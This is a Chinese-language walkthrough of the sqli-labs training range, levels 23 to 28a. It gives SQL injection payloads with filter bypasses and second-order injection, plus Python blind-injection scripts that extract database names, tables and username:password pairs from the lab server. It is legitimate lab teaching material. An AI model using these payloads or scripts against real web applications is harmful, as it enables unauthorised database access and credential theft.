sqli.labs靶场（23关到28a关）

23、第二十三关

id=1'单引号闭合

找位置1' and 1=2 union select 1,2,3'

爆库：1' and 1=2 union select 1,2,database()'

爆表名：1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' '

爆字段：1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' '

爆数据：1' and 1=2 union select 1,2,group_concat(username,':',password) from users where '1'='1

24、第二十四关

我们先注册一个账号admin'#，密码设为123

然后登录进去，有个重置密码：

输入当前密码123，新密码111，然后点Reset

然后我们用新密码登录试试

发现修改后的密码111没法登录admin'#账号，还得用原来密码登录

用新密码111登录admin账号试试

发现可以登陆成功，我们刚才改的用该是admin的密码

这个应该就是传说中的二次注入吧

修改密码是应该是没转移用户名导致的,修改语句应该是下面这样，$username里特殊字符没转译

update users set password='$password' where username='$username'

25:、第二十五关

这关是单引号闭合，提示过滤了and,or,那就只能用其他代替比如like

like绕过：1'like 1=2 like extractvalue(1,concat(0x7e,database(),0x7e))--+

双写绕过：1' anandd 1=2 like extractvalue(1,concat(0x7e,database(),0x7e))--+

anand 或oorr这样

25a、第二十五a关

这关提示大写的OR和AND过滤了

这个id是数值型的，也可以用双写绕过

100%20anandd%201=1%20union%20select%201,2,3#

爆库：

and双写：100 anandd 1=1 union select 1,2,database()#

or双写：100 oorr 1=0 union select 1,2,database()#

like绕过：100 like 1=2 union select 1,2,database()#

100 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' #

infoorrmation_schema里面包含or也可以双写绕过

26、第二十六关

这关是单引号闭合,提示过滤空格

这关and和or过滤了，空格也过滤了，可以用||替换or，%26替换and用报错注入

POC：1'%26extractvalue(1,concat(0x7e,database(),0x7e))%261='1

POC：1'||extractvalue(1,concat(0x7e,database(),0x7e))||1='1

POC：1'||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e))||1='1

26a、第二十六a关

这关和26管类似，但是以单引号加括号闭合

id=1')%26('1')=('1

无法使用报错注入，只能用盲注

爆库POC：1')%26(substr(database(),1,1)='s')%26('1')=('1

爆表名POC：

1')%26(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),1,1)='e')%26('1')=('1

上脚本：

import string
from time import time, sleep

import requests

numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "(", ")", "_","UNHEX('2D')", ",", ".", "{", "}", "[", "]", ":", ";", "|"]

if __name__ == '__main__':
    test = True
    # 获取正确返回内容长度
    url = "http://sqli.labs/Less-26a/?id=1%27)"
    list1 = numbers + letters2 + fuhao
    # 获取数据库名
    database = ""
    num = 0
    print(f"数据库:")
    for p in range(50):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            url_db = url + f"%26(substr(database(),{p},1)='{a}')%26('1')=('1"
            res = requests.get(url_db)
            if "Dumb" in res.text:
                database = f"{database}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取所有表名
    num = 0
    tables = ""
    print(f"所有表名:")
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"%26(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='{database}')),{p},1)='{a}')%26('1')=('1"
            num += 1
            res = requests.get(url_db)
            if "Dumb" in res.text:
                tables = f"{tables}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取users表所有字段
    columns = ""
    print(f"users表所有字段名:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"%26(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='{database}')%26(table_name='users')),{p},1)='{a}')%26('1')=('1"
            num += 1
            res = requests.get(url_db)
            if "Dumb" in res.text:
                columns = f"{columns}{a}"
                print(a, end='')
                num = 0
    print("")  # 换行
    # 获取所有账号
    users = ""
    print(f"所有用户密码:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"%26(substr((select(group_concat(username,':',passwoorrd))from(users)),{p},1)='{a}')%26('1')=('1"
            num += 1
            res = requests.get(url_db)
            if "Dumb" in res.text:
                users = f"{users}{a}"
                print(a, end='')
                num = 0

27、第二十七关

直接试探1 union select 1,2,3

发现查的是id=11的值，select和union都被过滤,可以大小写绕过，尝试发现是单引号闭合

构造poc:

1'and(extractvalue(1,concat(0x7e,database(),0x7e))) or '1'='1

1'and(extractvalue(1,concat(0x7e,(SeLect (group_concat(table_name)) from (information_schema.tables) where (table_schema='security')),0x7e))) or '1'='1

1'and(extractvalue(1,concat(0x7e,(SeLect (group_concat(column_name)) from (information_schema.columns) where (table_schema='security')and(table_name='users')),0x7e))) or '1'='1

1'and(extractvalue(1,concat(0x7e,(SeLect (group_concat(username,':',password)) from (users)),0x7e))) or '1'='1

27a、第二十七a关

提示双引号闭合，试探一下

没有报错信息，只能盲注

1"and(length(database())>8)and"1"="1

1"and(length(database())>7)and"1"="1

database()的长度是8

这个还是脚本爆料：

import string
from time import time, sleep

import requests

numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "(", ")", "_", "UNHEX('2D')", ",", ".", "{", "}", "[", "]", ":", ";", "|"]

if __name__ == '__main__':
    test = True
    # 获取正确返回内容长度
    url = "http://sqli.labs/Less-27a/?id=1%22"
    list1 = numbers + letters2 + fuhao
    # 获取数据库名
    database = ""
    num = 0
    print(f"数据库:")
    for p in range(50):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            url_db = url + f"and(substr(database(),{p},1)='{a}')and%221%22=%221"
            res = requests.get(url_db)
            if "Dumb" in res.text:
                database = f"{database}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取所有表名
    num = 0
    tables = ""
    print(f"所有表名:")
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"and(substr((SelEct(group_concat(table_name))from(information_schema.tables)where(table_schema='{database}')),{p},1)='{a}')and%221%22=%221"
            num += 1
            res = requests.get(url_db)
            if "Dumb" in res.text:
                tables = f"{tables}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取users表所有字段
    columns = ""
    print(f"users表所有字段名:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"and(substr((sEleCt(group_concat(column_name))from(information_schema.columns)where(table_schema='{database}')%26(table_name='users')),{p},1)='{a}')and%221%22=%221"
            num += 1
            res = requests.get(url_db)
            if "Dumb" in res.text:
                columns = f"{columns}{a}"
                print(a, end='')
                num = 0
    print("")  # 换行
    # 获取所有账号
    users = ""
    print(f"所有用户密码:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            if a == "UNHEX('2D')":
                url_db = url + f"and(substr((selEcT(group_concat(username,':',password))from(users)),{p},1)={a})and%221%22=%221"
            else:
                url_db = url + f"and(substr((selEcT(group_concat(username,':',password))from(users)),{p},1)='{a}')and%221%22=%221"
            num += 1
            res = requests.get(url_db)
            if "Dumb" in res.text:
                if a == "UNHEX('2D')":
                    a = '-'
                users = f"{users}{a}"
                print(a, end='')
                num = 0

28、第二十八关

尝试后发现也是单引号闭合，且过滤空格，没有报错信息，也需要盲注

1'and(length(database())>8)and'1'='1

1'and(length(database())>7)and'1'='1

数据库长度应该是8

盲注还得看脚本

import string
from time import time, sleep

import requests

numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "(", ")", "_", "UNHEX('2D')", ",", ".", "{", "}", "[", "]", ":", ";", "|"]

if __name__ == '__main__':
    test = True
    # 获取正确返回内容长度
    url = "http://sqli.labs/Less-28/?id=1'"
    list1 = numbers + letters2 + fuhao
    # 获取数据库名
    database = ""
    num = 0
    print(f"数据库:")
    for p in range(50):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            url_db = url + f"and(substr(database(),{p},1)='{a}')and'1'='1"
            res = requests.get(url_db)
            if "Dumb" in res.text:
                database = f"{database}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取所有表名
    num = 0
    tables = ""
    print(f"所有表名:")
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"and(substr((SelEct(group_concat(table_name))from(information_schema.tables)where(table_schema='{database}')),{p},1)='{a}')and'1'='1"
            num += 1
            res = requests.get(url_db)
            if "Dumb" in res.text:
                tables = f"{tables}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取users表所有字段
    columns = ""
    print(f"users表所有字段名:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"and(substr((sEleCt(group_concat(column_name))from(information_schema.columns)where(table_schema='{database}')%26(table_name='users')),{p},1)='{a}')and'1'='1"
            num += 1
            res = requests.get(url_db)
            if "Dumb" in res.text:
                columns = f"{columns}{a}"
                print(a, end='')
                num = 0
    print("")  # 换行
    # 获取所有账号
    users = ""
    print(f"所有用户密码:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            if a == "UNHEX('2D')":
                url_db = url + f"and(substr((selEcT(group_concat(username,':',password))from(users)),{p},1)={a})and'1'='1"
            else:
                url_db = url + f"and(substr((selEcT(group_concat(username,':',password))from(users)),{p},1)='{a}')and'1'='1"
            num += 1
            res = requests.get(url_db)
            if "Dumb" in res.text:
                if a == "UNHEX('2D')":
                    a = '-'
                users = f"{users}{a}"
                print(a, end='')
                num = 0

28a、第二十八a关

这关貌似和28关没啥区别，同样方法尝试

1'and(length(database())>7)and'1'='1

1'and(length(database())>8)and'1'='1

尝试后发现过滤了union select

看过源码后发现是单引号加括号闭合，于是构造轮子尝试union select可以双写绕过

31') unionunion select select 3,2,1 and('1')=('1

爆库：31') unionunion select select 1,database(),3 and ('1')=('1

31') unionunion select select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security') ,3 and ('1')=('1

31') unionunion select select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 and ('1')=('1

31') unionunion select select 1,(select group_concat(username,'~',password) from users),3 and ('1')=('1